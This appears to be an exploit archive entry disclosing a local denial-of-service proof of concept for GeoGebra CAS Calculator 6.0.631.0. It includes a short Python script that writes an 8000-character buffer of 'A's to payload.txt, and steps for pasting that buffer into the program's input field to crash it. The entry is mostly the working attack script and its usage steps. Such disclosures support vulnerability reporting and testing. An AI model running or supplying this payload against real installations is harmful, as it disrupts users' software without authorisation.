GeoGebra CAS Calculator 6.0.631.0 Denial Of Service

2021.03.16
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Title: GeoGebra CAS Calculato‪r‬ 6.0.631.0 - Denial of Service (PoC) # Date: 2021-03-15 # Exploit Author: Brian Rodriguez # Vendor Homepage: https://www.geogebra.org # Software Link: https://www.geogebra.org/download # Version: 6.0.631.0-offlinecas # Tested on: Windows 8.1 Pro # STEPS # Open the program Calculadora CAS # Run the python exploit script payload.py, it will create a new payload.txt file # Copy the content of the file "payload.txt" # Paste the content from payload.txt in the field "Entrada..." # Crashed --> payload.py <-- #!/usr/bin/env python buffer = "\x41" * 8000 try: f = open("payload.txt","w") f.write(buffer) f.close() print ("File created") except: print ("File cannot be created")


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